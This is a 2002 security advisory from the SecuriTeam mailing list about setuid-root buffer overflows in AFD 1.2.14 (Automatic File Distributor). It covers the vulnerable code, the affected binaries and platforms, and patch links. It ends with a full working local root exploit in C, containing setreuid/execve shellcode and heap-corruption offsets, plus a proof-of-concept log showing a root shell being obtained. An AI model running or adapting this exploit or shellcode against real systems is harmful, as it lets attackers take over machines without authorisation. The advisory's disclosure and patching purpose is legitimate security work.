[UNIX] AFD Multiple Local Root Compromises

From: support@securiteam.com
Date: 09/05/02


From: support@securiteam.com
To: list@securiteam.com
Date: Thu,  5 Sep 2002 14:42:57 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

When was the last time you checked your server's security?
How about a monthly report?
http://www.AutomatedScanning.com - Know that you're safe.
- - - - - - - - -

  AFD Multiple Local Root Compromises
------------------------------------------------------------------------

SUMMARY

The Automatic File Distributor provides a framework for very flexible,
non-stop, log and debug-able delivery of an arbitrary amount of files to
multiple recipients as expressed in URLs. The AFD package comes with a few
sources that once compiled and installed are set uid root by default.

Multiple security vulnerabilities in the code allow attackers to cause it
to execute arbitrary code.

DETAILS

Vulnerable systems:
 * AFD version 1.2.14

Among other vulnerabilities, in the beginning of most of these programs a
directory is needed. This can be supplied with a command line switch (-w)
or an environment variable. The vulnerable code for most looks like:

#define MON_WD_ENV_NAME "MON_WORK_DIR" /* Environment variable */
#define WD_ENV_NAME "AFD_WORK_DIR" /* The working dir- */
..
/* work_dir is global in some sources, local in other sources */
char work_dir[MAX_PATH_LENGTH];
..

int
main(int argc, char *argv[])
{
..
/* work_dir is global in some sources, local in other sources */
char work_dir[MAX_PATH_LENGTH];
..
/* might call some other function that then calls this function */
if (get_XXX_path(&argc, argv, work_dir) < 0)
{
exit(INCORRECT);
}
..
}

/* the XXX is either 'mon' or 'afd' */
/* this function is in another file then main() is */
get_XXX_path(int *argc, char *argv[], char *work_dir)
{
..
char *ptr;

/* Check if the environment variable is set */
/* if ((ptr = getenv(MON_WD_ENV_NAME)) != NULL) <-- can also be this */
if ((ptr = getenv(WD_ENV_NAME)) != NULL)
{
/* !!!!! THIS IS WHERE ALL THE ACTION TAKES PLACE !!!!! */
(void)strcpy(work_dir, ptr);
}
..
}

As you can see the buffer work_dir is overflowed, and a stack or heap
overflow occurs (depends if work_dir is global or local). With some of the
binaries, it is possible to cause the same overflow with the command line
switch -w, but in other binaries, that length is checked.

The following is a listing of the vulnerable suid binaries, and if they
are exploitable with the environment variables and/or the -w command line
switch:

name -w switch env. var
afd NO YES
afdcmd NO YES
afd_ctrl NO YES
init_afd NO YES
mafd YES YES
mon_ctrl YES YES
show_olog NO YES
udc NO YES

Vulnerable systems:
Version - Vulnerable - Exploitable
 * Linux 1.3.x up to 2.4.x - YES - YES
 * Solaris 2.x - probably (not tested) - probably (not tested)
 * HP-UX 10.x up to 11.x - probably (not tested) - probably (not tested)
 * IRIX 5.3 and 6.x - probably (not tested) - probably (not tested)
 * AIX 4.3 - probably (not tested) - probably (not tested)
 * FTX 3.0.x up to 3.2.x - probably (not tested) - probably (not tested)
 * SCO OpenServer Release 5 - probably (not tested) - probably (not
tested)

This vulnerability was discovered in the AFD 1.2.14 package but previous
versions are probably vulnerable too.

Proof of concept:
[eSDee@/ bin]$ id
uid=502(eSDee) gid=500(trusted) groups=500(trusted)
[eSDee@/ bin]$ ./afd-expl
AFD 1.2.14 local root exploit by eSDee of Netric (www.netric.org)
-----------------------------------------------------------------
Ret = 0x0806f020
Retloc = 0xbfffe360
28 17:32:12 <E> Failed to create directory <Ű
--netric--1█1╔¸Ń░F═Shn/shh//biŃRSß░
                                  
═AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  AAAAAAAAAAAAAAAAAAAAAAAAA
...
ectory (check_dir.c 66)
sh-2.05a# id
uid=0(root) gid=500(trusted) groups=500(trusted)
sh-2.05a# exit

Vendor response:
We got a reply from the vendor within 1 week that patches were made.

Patches:
There is a new version released of AFD (1.2.15) that can be downloaded
from:
[Source] <ftp://ftp.dwd.de/pub/afd/src-1.2.15.tar.bz2>
ftp://ftp.dwd.de/pub/afd/src-1.2.15.tar.bz2
[RPM] <ftp://ftp.dwd.de/pub/afd/rpm/afd-1.2.15-2.i386.rpm>
ftp://ftp.dwd.de/pub/afd/rpm/afd-1.2.15-2.i386.rpm

There is also a patch released for version 1.2.14 that can be found on:
[Patch] <ftp://ftp.dwd.de/pub/afd/patch-1.2.15.bz2>
ftp://ftp.dwd.de/pub/afd/patch-1.2.15.bz2

Exploit:
/* AFD 1.2.14 local root exploit by eSDee of Netric (www.netric.org)
 * (Bug found by Sacrine (sacrine@netric.org)
 * -----------------------------------------------------------------
 * usage: ./afd-expl [retloc] [ret]
 *
 * This exploit overwrites a saved return address on the stack,
 * so that 0xbfffe360, (that worked for me on Redhat 7.3) will
 * probally not work for you...
 *
 * Just open the coredump, search the stack for 0x4207ac24,
 * and substract that address with 0x0c.
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char shellcode[] =
        "\xeb\x0a" /* 10-byte-jump; setreuid(0,0); execve /bin/sh;
exit(0); */
        "--netric--"
        "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f"
        "\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8d\x54\x24\x08\x50\x53\x8d"
        "\x0c\x24\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80";

int
main(int argc, char *argv[])
{
char buffer[1135];

unsigned int retloc = 0xbfffe360;
unsigned int ret = 0x0806f020; /* &shellcode */

if (argc > 1) retloc = strtoul(argv[1], &argv[1], 16);
if (argc > 2) ret = strtoul(argv[2], &argv[2], 16);

memset(buffer, 0x41, sizeof(buffer));
memcpy(buffer, "MON_WORK_DIR=",13);
memcpy(buffer+13, shellcode, strlen(shellcode));

buffer[1117] = 0xff; /* prev_size */
buffer[1118] = 0xff;
buffer[1119] = 0xff;
buffer[1120] = 0xff;

buffer[1121] = 0xfc; /* size field */
buffer[1122] = 0xff;
buffer[1123] = 0xff;
buffer[1124] = 0xff;

buffer[1126] = (retloc & 0x000000ff); /* FD */
buffer[1127] = (retloc & 0x0000ff00) >> 8;
buffer[1128] = (retloc & 0x00ff0000) >> 16;
buffer[1129] = (retloc & 0xff000000) >> 24;

buffer[1130] = (ret & 0x000000ff); /* BK */
buffer[1131] = (ret & 0x0000ff00) >> 8;
buffer[1132] = (ret & 0x00ff0000) >> 16;
buffer[1133] = (ret & 0xff000000) >> 24;

buffer[1134] = 0x0;
putenv(buffer);

fprintf(stdout, "AFD 1.2.14 local root exploit by eSDee of Netric
(www.netric.org)\n");
fprintf(stdout,
"-----------------------------------------------------------------\n");
fprintf(stdout, "Ret = 0x%08x\n", ret);
fprintf(stdout, "Retloc = 0x%08x\n", retloc);

execl("/bin/mon_ctrl", "mon_ctrl", NULL);
return 0;
}

ADDITIONAL INFORMATION

The information has been provided by <mailto:sacrine@zworg.com> Bert
Vanmanshoven.

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.



Relevant Pages